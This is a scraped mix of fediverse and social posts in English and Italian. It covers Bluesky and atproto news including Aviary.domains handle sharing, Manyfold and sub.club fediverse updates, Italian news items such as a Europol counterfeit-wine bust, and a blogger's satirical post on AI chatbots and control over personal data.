Bluesky is hiring, and they are looking for a Feed Algorithmics Engineer. The job is to “design and implement machine learning models to improve personalized content recommendations, spam detection, labeling, and more.” As the network grows, so do the challenges of providing algorithmic recommendations for feeds and spam detection.
Threads struggles with moderation on their platform, and Bluesky is seizing the opportunity by creating an account on Threads to promote the platform as an alternative on (and to) Threads.
Altmetric, which tracks online engagement with academic research, is looking for people that are willing to help with feedback sessions for their Bluesky attention tracking roll-out.
Bluesky has updated their app (v1.92), with some new features: you can now pin a post to your profile. There are also design improvements, including new font options. You can also now filter your searches by language.
TOKIMEKI, an alternative client for Bluesky, now supports showing your atproto-powered Linkat and WhiteWind profiles.
Threads struggles with moderation on their platform, and Bluesky is seizing the opportunity by creating an account on Threads to promote the platform as an alternative on (and to) Threads.
Frontpage, a link-aggregator platform build on atproto, is now open and available for everyone to use. The developers say that they’ll work on notifications first, and that decentralised and self-sovereign sub-communities are coming later.
For the protocol-people: what happens when there are clashing lexicon fields? Nick Gerakines publishes his thoughts on how the Lexicon system can evolve, with some additional thoughtsby Bluesky protocol engineer Bryan Newbold.
Deep dive: Aviary.domains
Aviary.domains is a new service that helps managing domains for Bluesky and the ATmosphere, that recently launched in early access. Aviary makes it easy for people who have a domain name to share that domain name with other people as their handle.
To place Aviary in a larger context, a short explanation: It helps to understand as the central offering of the ATmosphere being a single digital identity. When you first sign up for Bluesky, two things happen:
You join the ATmosphere, by creating a digital identity (a DID) that works with all other products that are build on atproto.
You log in with this newly created identity into Bluesky, and use Bluesky with this digital identity.
This digital identity, a DID (Decentralized IDentifier) is a unique string of letters and numbers that can never change, which is good for computers because it is unique, but very unpractical for humans to use. That’s why you have a handle, which corresponds behind the scenes with your DID. The idea of atproto is to use a website domain name as your handle. You can always change your handle to a different handle if you want, as long as you have a website domain you can use. Most people do not have their own website domain, so when you first join the ATmosphere and your DID gets created, Bluesky also gives you one of their sub domains you can use: yourname.bsky.social.
The goal for Bluesky is that people use their website domains as their handle, as it gives an easy way to verify ownership: the owner of the website is also the owner of the account. One problem however, is that many people do not have their own website domain. This is both an opportunity for Bluesky (which now sells domain names to people), but also still a challenge: a significant group of people are simply not interested in paying money for what amounts to a better user name. Even if you have your own website domain, having to change DNS settings is still a technical barrier that is too high for a large group of people.
This is the part where Aviary.domains comes it, as it tries to find an audience for people who have a domain name, that they want to share with their community. It has created a system where an owner of a domain name can invite other people to use a version of that domain as their handle on Bluesky. So as the owner of laurenshof.online, I can log in with Aviary, and generate a subdomain for, lets say my cat. Aviary generates a link that my cat can click; they log in on Aviary with Bluesky’s OAuth, type in their name, press accept, and their handle is now changed, without them having to change settings.
What makes this different from projects like swifties.social, which also hand out subdomains for people to use as handles on Bluesky, is that it does not require the final step, changing settings in the app. It also gives the owner of the domain control over each subdomain, with the ability to subtract subdomains as well. This makes Aviary more useful for people who want to have more control over who identifies with the domain, and can show they are part of the community.
Audio spaces app Bluecast now can show your broadcasting history.
That’s all for this week, thanks for reading! You can subscribe to my newsletter to receive the weekly updates directly in your inbox below, and follow me on Bluesky @laurenshof.online.
A quieter news week: self-hosted 3d printing app Manyfold joins the fediverse, and write.as now offers paid subscriptions for fediverse accounts with sub.club.
The News
Manyfold is a self-hosted open source web app for organising and managing your collection of 3d files, and in particularly 3d printing. With their latest update, Manyfold has now joined the fediverse by adding ActivityPub support. With the new integration, you can now follow a Manyfold creator from your fediverse account of choice, and get notified when the Manyfold account uploads a new 3d file. New Manyfold uploads appear as short posts with a link in the rest of the fediverse. To demonstrate, here is the Manyfold account from the creator Floppy as visible from Mastodon, and here is the profile on their Manyfold instance itself. The Manyfold server also has a button to follow the account on the fediverse. Manyfold implementing ActivityPub support is an illustration of how ActivityPub can be viewed as a form of ‘Social RSS’: it allows you to follow any Actor for updates, and adds social features (sharing/liking to it).
Sub.club is a service that lets people create paid subscription feeds on the fediverse. The service recently launched with the ability to monetise Mastodon feeds, and has now expanded to also include long-form writing, by collaborating with write.as. Write.as is the flagship instance of fediverse blogging software WriteFreely. With this update, blogs on write.as can now set on a a per-blog basis if a blog is a premium blog, and where the cut-off is. People who follow the blog from a fediverse account will see an option to subscribe and view the full post; this post by the sub.club account shows how a premium blog will look like from various perspectives. Adding sub.club to a write.as blog is as simple as following this three-minute PeerTube video.
The Redbox operating system has been dumped, and people are repurposing the massive DVD kiosks they've saved from the scrap heap.
The Redbox operating system has been dumped, and people are repurposing the massive DVD kiosks theyx27;ve saved from the scrap heap.#Redbox #CarRepair #Reverseengineering
[quote]Nel 2022 l’Europa era addormentata e la guerra d’Ucraina ha rappresentato una sveglia per il Vecchio continente, peccato che, una volta svegli, “non ci si può girare dall’altra parte” e rimettersi a dormire. In una delle sue ultime apparizioni pubbliche
[quote]Incontro ai vertici per definire le prossime mosse diplomatiche dei Paesi che partecipano all’iniziativa di peacekeeping nella regione, dopo che ulteriori incidenti hanno sollevato timori per la sicurezza dei militari impegnati
@Politica interna, europea e internazionale Addio ai test d’ingresso per le facoltà universitarie di Medicina: dopo un semestre ad accesso libero, verrà stabilita una graduatoria nazionale tenendo in considerazione gli esami fatti che saranno uniformi per tutti. Il proseguimento degli studi al secondo semestre sarà
A prototype app called Impact describes “A Volunteer Fire Department For The Digital World,” which would summon real people to copy and paste AI-generated talking points on social media.#News
How the WordPress chaos may impact the web; using AI to apply for jobs; and how the National Archives wants to push its employees to use Google's AI.
How the WordPress chaos may impact the web; using AI to apply for jobs; and how the National Archives wants to push its employees to use Googlex27;s AI.#Podcast
@Politica interna, europea e internazionale Cosa prevede il disegno di legge di Bilancio 2025: tutte le misure Un piccolo sacrificio chiesto alle banche, l’ennesima sforbiciata a carico dei ministeri, la prevista conferma del taglio del cuneo fiscale e della
Un'indagine condotta dalla Gendarmeria francese (Gendarmerie Nationale), che ha coinvolto l'Arma dei Carabinieri italiani (NAS) e la Polizia federale svizzera (Police Federale Swiss), sostenuta da Europol ed Eurojust, ha portato allo smantellamento di una rete criminale di contraffazione dei vini francesi a Denominazione di Origine Protetta (DOP) in Italia. La rete criminale falsificava il vino rosso francese, facendo pagare fino a 15.000 euro a bottiglia. Il vino finto è stato contraffatto in Italia, poi consegnato ad un aeroporto italiano ed esportato per la vendita a valore di mercato in tutto il mondo da commercianti inconsapevoli.
L’operazione ha portato a: 6 arresti; 14 perquisizioni a Torino e Milano; sequestri tra cui: grandi quantità di bottiglie di vino provenienti da diversi domini Grand Cru contraffatti, adesivi per vino e prodotti in cera, ingredienti per sofisticare il vino, macchine tecniche per tappare le bottiglie, beni di lusso e apparecchiature elettroniche per un valore di 1,4 milioni di euro, oltre 100.000 euro in contanti e documenti.
Il modus operandi della rete criminale, unito alle caratteristiche delle contraffazioni, ha portato gli investigatori a stabilire un collegamento con una precedente indagine sostenuta da Europol mirata alla contraffazione di vino DOP. Le operazioni forensi condotte hanno rivelato le tecniche utilizzate dalla rete criminale per contraffare il vino francese di alta qualità. Collegamenti tra le due indagini sono stati scoperti anche esaminando i produttori di capsule e capsule e gli stampatori di etichette. L'indagine, chiusa nel 2015, coinvolgeva un cittadino russo anch'egli collegato all'indagine. Ulteriori indagini hanno portato alla luce transazioni commerciali effettuate tra l'Italia e la Svizzera. Successivamente furono scoperte altre bottiglie con simili segni di contraffazione.
Nel 2014 è stata scoperta una traccia latente sul retro di un'etichetta, che ha scoperto un collegamento con un individuo già noto alle autorità per un caso precedente simile. L'indagine su una rete internazionale di contraffazione di vini di lusso ha portato all'arresto di un cittadino russo associato a due viticoltori di nazionalità italiana. Tuttavia, dal 2019, in Europa sono comparse nuove contraffazioni, in particolare nei mercati svizzero e italiano. Dalle indagini effettuate è emerso che le vecchie bottiglie false venivano ancora vendute insieme a quelle nuove con copie delle nuove caratteristiche di sicurezza. Gli indizi investigativi e lo scambio internazionale di informazioni attraverso Europol hanno consentito all'unità della gendarmeria francese incaricata del caso di identificare questo nuovo percorso di distribuzione di bottiglie contraffatte utilizzando l'identità dei domini Grand Cru.
@Notizie dall'Italia e dal mondo Secondo un censimento del 2021 in Pakistan ci sarebbero quasi 22,000 persone transgender, ma il dato potrebbe essere altamente sottostimato. Sarebbero almeno 20 le persone transgender uccise nel 2021, ma solo il 34% dei casi di violenza viene denunciato. L'articolo Violenze e abusi sulla comunità
[quote]L’avvento dei sistemi a pilotaggio remoto, comunemente noti come droni, ha letteralmente investito il comparto della Difesa globale e, a modo suo, rappresenta una “rivoluzione negli affari militari”. I paradigmi bellici stanno mutando a una velocità quale non la si vedeva da diverso tempo,
📌 Torna Fiera Didacta Italia! La più importante fiera sull’innovazione della #scuola si svolge per la prima volta in Puglia, dal 16 al 18 ottobre, alla Fiera del Levante a Bari.
📌 Torna Fiera Didacta Italia! La più importante fiera sull’innovazione della #scuola si svolge per la prima volta in Puglia, dal 16 al 18 ottobre, alla Fiera del Levante a Bari.
Oggi #16ottobre è la Giornata Mondiale dell'Alimentazione. L’iniziativa, istituita dalla FAO nel 1979, ha l’obiettivo di sensibilizzare l’opinione pubblica sui problemi legati alla fame e alla malnutrizione e di promuovere la sicurezza alimentare bas…
Oggi #16ottobre è la Giornata Mondiale dell'Alimentazione. L’iniziativa, istituita dalla FAO nel 1979, ha l’obiettivo di sensibilizzare l’opinione pubblica sui problemi legati alla fame e alla malnutrizione e di promuovere la sicurezza alimentare bas…
@Noam Bergman yes, you're welcome if you want to try it out and report bugs, it's still in beta currently.
You can find the APK in the release page, otherwise you can install an app like Obtainium and add the main repository URL as a source (please remember to turn on the "enable pre-releases switch in Obtainium to install pre-production releases).
Come faccio a istruire la tastiera del mio telefono o non correggermi ce con c'è? Di tutte le malefatte del correttore automatico questa è quella che mi manda in bestia di più. #fediaiuto #fedihelp
mi sa che l'unica soluzione è cambiare tastiera o spendere le ore a scrivere frasi in cui usare "ce ne sono" e sperare che abbia la correzione a posteriori (che l'unica che conosco mi sa che è GBoard che dopo aver scritto "ne" correggeva il precedente "c'è" in "ce")
@ciccillo Ho provato a fare come @Jones , adesso il correttore automatico è spento, ma il suggeritore rimane. Adesso non c'è (⬅️funziona!) più nessuna scusa, se scrivo ammerda è colpa mia!
Ciao, sono nuovo qui, in questo mondo. Ho visto che parli italiano ed ho anche visto e trovato un tuo messaggio con il correttore automatico che modifica "c'è" in "ce". Se ti arriva questo mio messaggio e se lo leggerai, forse ho scoperto l'acqua calda per la soluzione del problema. Ciao.
Today I realized how similar RFL and RFL look at the surface: bottom navigation with identical sections, navigation drawer, a timeline in the home screen, each post with header, content, media, actions.
They look like an elder and a younger brother. But there are some differences too:
RFL uses SQLDelight for persistence, whereas RFF uses Room multiplatform;
RFL uses coil2 for image rendering on Android and Kamel on iOS, RFF uses coil3 for both platforms;
RFL makes heavy usage of the slide-to-reveal pattern for like/dislike actions, RFF doesn't and do not allow dislike (even if on Friendica it could be technically done);
RFL has many customization options (zombie mode, different post layouts, many more languages etc.), RFF tries to have "sane defaults" and has a more minimalistic approach;
RFL has a "sidebar" on the right side which RFF does not have (again, minimalism);
RFL does not use a third party crash reporting and feedback system, RFF uses Sentry;
RFL has Android-only tests even for common code using MockK, RFF has common tests using Mokkery.
Have you tried both apps? Is there any feature of one app that you would like to be ported on the other one?
Come si è estinta la democrazia negli Stati Uniti. l'AntiDiplomatico intervista Chris Hedges - EGEMONIA - L'Antidiplomatico lantidiplomatico.it/dettnews-c…
Lanciata la sonda Europa Clipper verso Giove l Astronomia.com
"Scopo della missione è studiare da vicino la luna ghiacciata Europa per testare le sue possibilità di ospitare la vita, ma non di verificarne l’esistenza : in particolare dovrà confermare l’esistenza e la composizione di acqua al di sotto dello strato superficiale di ghiaccio nonché studiare dal punto di vista geologico la superficie e le sue caratteristiche superficiali."
“Scrivere a mano in corsivo e leggere su carta sono abitudini imprescindibili perché stimolano e sviluppano l’emisfero sinistro del cervello, quello che presiede al pensiero logico-lineare. Perdere queste abitudini
‼️La nostra cara Stefania Maurizi non poteva lasciare #IlPotereSegreto senza l'happy end e senza spiegarvi perché vogliono ANCORA distruggere Julian #Assange e #WikiLeaks. O pensavate che fosse finita?
‼️La nostra cara Stefania Maurizi non poteva lasciare #IlPotereSegreto senza l'happy end e senza spiegarvi perché vogliono ANCORA distruggere Julian #Assange e #WikiLeaks. O pensavate che fosse finita?
il 25 ottobre in libreria.
Intelligenza artificiale, dati e supercazzole: fin dove abbiamo il controllo?
Dati e AI: di questa cosa ho parlato parecchio con @informapirata ⁂ :privacypride: e abbiamo convenuto sul fatto che il grosso problema è IL CONTROLLO sui dati. Io e il mio aiuto-blogger ci siamo divertiti a cercare informazioni su di noi su GPT: - chi è Elettrona? Niente, dà info generiche. Chi è Gifter? Lo stesso, alcune supercazzole su "one piece" che all'interessato hanno fatto parecchio ridere e su cui da tempi non sospetti approfitta per spiegare il motivo del soprannome ai non "addetti ai lavori". - Chi sono Elettrona e Gifter? Lo stesso risposta generica. La cosa cambia però se metti "ci sono su internet informazioni su Elettrona e Gifter?" La risposta (GIUSTA) è la seguente: **** "Elettrona" e "Gifter" sono gli pseudonimi di **Elena** e **Alessandro**, due blogger che gestiscono il sito *PlusBrothers*. Il blog tratta temi legati all'HIV, allo stigma sociale e alle loro esperienze personali.
- **Elettrona** è il nome scelto da Elena, che è non vedente e ha una lunga esperienza nell'accessibilità digitale e inclusività. Il soprannome "Elettrona" è una versione femminile e ironica di "elettrone", che rispecchia la sua personalità energica e il suo interesse per la tecnologia.
- **Gifter**, invece, è il soprannome di Alessandro, che vive con l'HIV. Questo nome deriva dalla sottocultura "gift giver" (donatore), legata alla trasmissione del virus HIV, un argomento provocatorio che hanno scelto di affrontare per sfidare i pregiudizi e sensibilizzare il pubblico.
Insieme, usano il loro blog per combattere lo stigma legato all'HIV e promuovere l'inclusività attraverso l'ironia e la narrazione personale. **** Dati assolutamente fedeli riportati dalle nostre fonti, il nostro @PlusBrothers ma anche un articolo che ho scritto io su HeroPress, altro sito pubblico. E mi/ci sta assolutamente bene. Ma se domani mattina Gifter si sveglia e davanti allo specchio urla "EXPELLIARMUS!" poi dalle successive analisi risulta HIV negativo? Se io urlo "LUMUS" e ci vedo, poi Gifter mi urla "NOX" e non ci vedo più di nuovo? E per vendicarmi gli urlo "AVADA KEDAVRA" per ucciderlo ma ottengo che diventa positivo HIV un'altra volta mentre io resto negativa perché sono protetta da "PROTEGO"?
Oppure il contrario, lui è protetto da "protego" e io invece divento positiva al posto suo quando lui si sveglia e dice expeliarmus? Va bene, parlo di cose impossibili per fare ironia ma la burla vuole far capire che ogni situazione può cambiare da un giorno all'altro sulle persone e le stesse non hanno alcun controllo su come e dove aggiornare le proprie informazioni né tanto meno verificare di essere loro ad aver pubblicato. Per assurdo qualcuno potrebbe addestrare il bot scrivendo che Alessandro mi ha trasmesso l'HIV, inventandosi una fake per farci del male. E noi non potremmo farci niente perché l'addestratore del bot può fare finta di essere me o Alex quando vuole. Non sono contro l'AI e la utilizzo ma le debolezze sono tante e la consapevolezza è d'obbligo. #ironia #burla #EticaDigitale #AI #satira
@Notizie dall'Italia e dal mondo Si tratta di alimenti non deperibili, medicinali e presidi medici, per un valore totale di circa 800.000 Euro. Dal 20 giugno sono fermi a Genova per lentezze burocratiche e restrizioni israeliane sui convogli umanitari L'articolo MUSIC FOR PEACE: “Ci bloccano da mesi
@Politica interna, europea e internazionale Scrivere libri si sta rivelando un’attività particolarmente proficua per Giorgia Meloni. Nel 2023 la presidente del Consiglio ha percepito redditi per 459mila euro, il 56% in più rispetto ai 293mila euro dell’anno precedente. E
ant58ore 🌈
in reply to simona • • •simona likes this.